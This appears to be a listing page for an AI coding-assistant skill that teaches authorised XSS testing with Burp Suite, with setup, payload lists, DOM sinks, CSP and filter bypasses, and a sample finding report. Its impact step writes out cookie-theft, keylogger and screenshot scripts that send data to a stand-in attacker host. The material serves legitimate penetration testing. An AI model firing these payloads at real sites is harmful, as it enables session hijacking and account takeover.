关于 testing-for-xss-vulnerabilities-with-burpsuite
面向授权 Web 应用测试的 Burp Suite Professional 技能,涵盖反射型、存储型和 DOM 型 XSS。内容包括定位输入反射点、测试不同上下文及防护措施,并记录经验证的发现。
主要功能
- 01梳理应用输入点和反射位置
- 02测试反射型与存储型 XSS
- 03用 DOM Invader 跟踪 DOM 型 XSS
- 04评估过滤器与 CSP
- 05验证影响并记录发现
适用场景
- 01开展授权 Web 渗透测试
- 02验证扫描器报告的 XSS
- 03测试 CSP 和 XSS 过滤器
- 04评估 SPA 客户端安全
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-xss-vulnerabilities-with-burpsuite安装后在 Claude Code 中输入/testing-for-xss-vulnerabilities-with-burpsuite确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
使用 Burp Suite 测试 XSS 漏洞
何时使用
- 在经授权的 Web 应用渗透测试中,用于发现反射型、存储型和基于 DOM 的 XSS
- 当需要验证自动化漏洞扫描器报告的 XSS 发现时
- 用于测试内容安全策略(CSP)和 XSS 过滤器的有效性
- 当评估单页应用(SPA)的客户端安全性时
- 在针对 XSS 漏洞的漏洞赏金项目中
前提条件
- 授权:目标应用的书面范围和交战规则
- Burp Suite Professional:具有主动扫描功能的授权版本
- 浏览器:已安装 Burp CA 证书的 Firefox 或 Chromium
- FoxyProxy:配置为通过 Burp 代理(127.0.0.1:8080)路由流量的浏览器扩展
- 目标应用:使用有效测试凭据的已认证访问
- XSS payload 列表:自定义词表或 Burp 内置的 XSS payload 集
工作流
第 1 步:配置 Burp Suite 并映射应用
设置代理并抓取应用,以发现所有输入向量。
# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings
# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map
第 2 步:使用 Burp Repeater 识别反射点
将请求发送到 Repeater,并注入唯一的 canary 字符串,以找到用户输入被反射的位置。
# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com
# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.
# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">
# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded
第 3 步:使用针对上下文的 payload 测试反射型 XSS
根据反射上下文,构造有针对性的 XSS payload。
# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com
# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com
# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com
# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com
# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com
# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com
第 4 步:通过 Burp Intruder 测试存储型 XSS
使用 Burp Intruder 在评论、个人资料和消息等输入字段中测试存储型 XSS。
# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list
# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//
# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored
第 5 步:测试基于 DOM 的 XSS
使用 Burp 的 DOM Invader 识别不安全地处理用户输入的客户端 JavaScript。
# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable
# 3. Set canary value (e.g., "domxss")
# Common DOM XSS sinks to monitor:
# - document.write()
# - innerHTML
# - outerHTML
# - eval()
# - setTimeout() / setInterval() with string args
# - location.href / location.assign()
# - jQuery .html() / .append()
# Common DOM XSS sources:
# - location.hash
# - location.search
# - document.referrer
# - window.name
# - postMessage data
# Test URL fragment-based DOM XSS:
https://target.example.com/page#<img src=x onerror=alert(1)>
# Test via document.referrer:
# Create a page that links to the target with XSS in the referrer
第 6 步:绕过 XSS 过滤器和 CSP
当基本 payload 被阻止时,使用高级技术绕过防护。
# CSP Analysis - Check response headers:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
# Common CSP bypasses:
# If 'unsafe-inline' is allowed:
<script>alert(document.domain)</script>
# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Filter bypass techniques:
# Case variation: <ScRiPt>alert(1)</ScRiPt>
# Null bytes: <scr%00ipt>alert(1)</script>
# Double encoding: %253Cscript%253Ealert(1)%253C/script%253E
# HTML entities: <img src=x onerror=alert(1)>
# Unicode escapes: <script>\u0061lert(1)</script>
# Use Burp Suite > BApp Store > Install "Hackvertor"
# Encode payloads with Hackvertor tags:
# <@hex_entities>alert(document.domain)<@/hex_entities>
第 7 步:验证影响并记录发现
确认可利用性并记录完整的攻击链。
# Proof of Concept payload that demonstrates real impact:
# Cookie theft:
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>
# Session hijacking via XSS:
<script>
new Image().src='https://attacker-server.example.com/log?cookie='+document.cookie;
</script>
# Keylogger payload (demonstrates impact severity):
<script>
document.onkeypress=function(e){
fetch('https://attacker-server.example.com/keys?k='+e.key);
}
</script>
# Screenshot capture using html2canvas (stored XSS impact):
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(function(canvas){
fetch('https://attacker-server.example.com/screen',{
method:'POST',body:canvas.toDataURL()
});
});
</script>
# Document each finding with:
# - URL and parameter
# - Payload used
# - Screenshot of alert/execution
# - Impact assessment
# - Reproduction steps
关键概念
| 概念 | 描述 |
|---|---|
| 反射型 XSS | Payload 直接从当前 HTTP 请求包含在服务器响应中 |
| 存储型 XSS | Payload 持久化在服务器上(数据库、文件),并提供给其他用户 |
| 基于 DOM 的 XSS | Payload 完全由 JavaScript 在客户端处理,没有服务器反射 |
| XSS Sink | 执行或呈现不可信输入的 JavaScript 函数或 DOM 属性 |
| XSS Source | 攻击者控制的数据进入客户端应用的位置 |
| CSP | 内容安全策略头,限制页面上可以执行哪些脚本 |
| 上下文感知编码 | 根据输出上下文应用正确的编码(HTML、JS、URL、CSS) |
| 变异 XSS(mXSS) | 利用 DOM 序列化期间浏览器 HTML 解析器不一致性的 XSS |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 主要测试平台,包含扫描器、intruder、repeater 和 DOM Invader |
| DOM Invader | Burp 内置的浏览器扩展,用于 DOM XSS 测试 |
| Hackvertor | 用于高级 payload 编码和转换的 Burp BApp |
| XSS Hunter | 捕获执行证据的盲 XSS 检测平台 |
| Dalfox | 基于命令行的 XSS 扫描器,具有参数分析功能(go install github.com/hahwul/dalfox/v2@latest) |
| CSP Evaluator | 用于分析内容安全策略有效性的 Google 工具 |
常见场景
场景 1:搜索功能反射型 XSS
搜索页面在结果标题中反射查询参数,且未进行编码。在搜索参数中注入 <script>alert(document.domain)</script>,并通过反射型 XSS 演示 cookie 窃取。
场景 2:评论系统存储型 XSS
博客评论表单会清理 <script> 标签,但允许 <img> 标签。使用 <img src=x onerror=alert(document.domain)> 实现存储型 XSS,使每个加载页面的访问者都会触发。
场景 3:带基于 DOM 的 XSS 的 SPA
一个 React/Angular SPA 读取 window.location.hash 并通过 innerHTML 将其注入 DOM。使用 DOM Invader 追踪从源到汇的流程,并在 URL 片段中构造 payload。
场景 4:绕过带严格 CSP 的 WAF 的 XSS
WAF 拦截常见的 XSS 模式,CSP 限制内联脚本。在列入白名单的域上发现一个 JSONP 端点,并将其用作脚本 gadget 以绕过 CSP。
输出格式
## XSS Vulnerability Finding
**Vulnerability**: Stored Cross-Site Scripting (XSS)
**Severity**: High (CVSS 8.1)
**Location**: POST /api/comments → `body` parameter
**Type**: Stored XSS
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Navigate to https://target.example.com/blog/post/123
2. Submit a comment with body: <img src=x onerror=alert(document.domain)>
3. Reload the page; the payload executes in the browser
### Impact
- Session hijacking via cookie theft for all users viewing the page
- Account takeover through session token exfiltration
- Defacement of the blog post page
- Phishing via injected login forms
### CSP Status
- No Content-Security-Policy header present
- X-XSS-Protection header not set
### Recommendation
1. Implement context-aware output encoding (HTML entity encoding for HTML context)
2. Deploy Content Security Policy with strict nonce-based script allowlisting
3. Use DOMPurify library for sanitizing user-generated HTML content
4. Set HttpOnly and Secure flags on session cookies
5. Add X-Content-Type-Options: nosniff header